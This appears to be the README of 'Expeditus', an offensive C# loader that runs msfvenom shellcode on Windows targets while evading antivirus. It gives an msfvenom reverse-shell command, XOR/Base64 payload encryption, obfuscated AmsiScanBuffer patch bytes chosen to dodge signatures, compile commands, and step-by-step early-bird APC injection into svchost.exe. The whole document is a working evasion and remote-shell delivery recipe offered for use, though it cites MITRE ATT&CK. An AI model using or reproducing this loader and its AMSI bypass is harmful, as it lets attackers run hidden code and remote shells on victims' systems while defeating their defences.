Expeditus is a C# loader/dropper that executes shellcode (such as that generated by msfvenom) on a target Windows system. It combines several offensive techniques in order to attempt to do this with some level of stealth.
- Encryption of shellcode before compilation of loader to obfuscate obvious AV signatures in the assembly (see MITRE ATT&CK ID: T1027)
- Patching of amsi.dll for evasion of host-based defences at runtime (see MITRE ATT&CK ID: T1562.001)
- Shellcode injection into svchost.exe via the Asynchronous Procedure Call (APC) queue (see MITRE ATT&CK ID: T1055.004)
Before performing the process injection, the loader first patches amsi.dll in memory so that the AmsiScanBuffer() function always returns E_INVALIDARG and the final scan result is AMSI_RESULT_CLEAN. This should allow the process injection to proceed without as much scrutiny from AV, although there is also a fair risk that kernel32 is hooked and so our Windows API calls can be examined. Unhooking of kernel32 is a planned improvement for future work.
The loader then uses the 'early bird' variation of the APC queue code injection technique. A new svchost.exe process is created in a suspended state. A new buffer is created inside it and the decrypted shellcode is copied into this. A new entry is added to the main thread's APC queue with a pointer to the shellcode buffer. The main thread is then resumed, the Expeditus loader process exits, and the independent svchost.exe process executes the user's shellcode.
First of all the user needs to write or otherwise generate some suitable shellcode that they would like to run on the target system. For example:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f powershell
The above command gives output of the following form:
[Byte[]] $buf = 0xfc,0x48,0x83...
This shellcode should then be copied and pasted into the payload-encrypt.ps1 script which can then be executed. The output should look like this:
Encrypted payload to paste into strEncryptedPayload variable in expeditus.cs: lCfnjZWA....WsA==
The output is the shellcode after being XOR encrypted and then Base64 encoded. It should be copied and pasted into the expeditus.cs file in the strEncryptedPayload variable which you will find around line 119.
Finally, the expeditus.cs loader can now be compiled ready to use:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:exe /out:expeditus.exe expeditus.cs
Running expeditus.exe on the target should result in a new svchost.exe process appearing. The expeditus.exe process will termainate immediately and the (far less suspicious) svchost.exe process will remain until the shellcode exits (for example, when you terminate your reverse shell) at which point the svchost.exe process also terminates.
See the memory patching AMSI bypass blog post by Rasta Mouse for a detailed explanation of this technique.
As far as implementing it in our loader goes, we just need to make sure that our patch of the AmsiScanBuffer() function somehow places 0x80070057 (E_INVALIDARG) into the EAX register and then returns. We have not used the simplest and most obvious method of achieving this (mov eax, 0x80070057; ret) that is used in the blog post. This is because many AV products now have a signature to match those specific bytes. Instead we use the following code to get the same result while bypassing the existing AV signatures.
and eax,0x00000000
add eax,0x90940031
sub eax,0x108CFFDA
ret
We place zero into EAX by performing an AND of its current (irrelevant) value with 0x00000000. We then add 0x90940031 to it and subtract 0x108CFFDA which gets us to our required value of 0x80070057.
Putting those instructions through an assembler gives us the machine code for our patch.
byte[] amsiScanBufferPatch = {0x83,0xE0,0x00,0x05,0x31,0x00,0x94,0x90,0x2D,0xDA,0xFF,0x8C,0x10,0xC3};
The rest of the Amsipatch class is self-explanatory. We simply look up the address of the AmsiScanBuffer() function and overwrite the first few bytes of it with our patch.
The shellcode is stored inside a local variable in expeditus.cs in encrypted form to at least avoid detection of the shellcode in the static .NET assembly. When it is executed, this is decrypted back to the raw shellcode in a buffer in memory after the amsi.dll patch has been applied.
We then make several API calls to kernel32 in order to perform our chosen process injection technique.
- CreateProcess is used to create a new svchost.exe process in a suspended state
- VirtualAllocEx is used to allocate memory to a new readable and writeable (PAGE_READWRITE) buffer inside the svchost.exe process the same size as the shellcode
- WriteProcessMemory is used to copy the contents of the shellcode buffer in the expeditus.exe process to the new buffer in the svchost.exe process
- VirtualProtectEx is used to change the new buffer's memory protection status to readable and executable (PAGE_EXECUTE_READ)
- OpenThread is used to get a pointer to the main thread of the svchost.exe process
- QueueUserAPC is used to add a pointer to the shellcode buffer to the main thread's APC queue
- ResumeThread is used to resume the main thread
Once this simple procedure has completed the expeditus.exe process terminates leaving behind a legitimate svchost.exe process with our shellcode queued to it's main thread.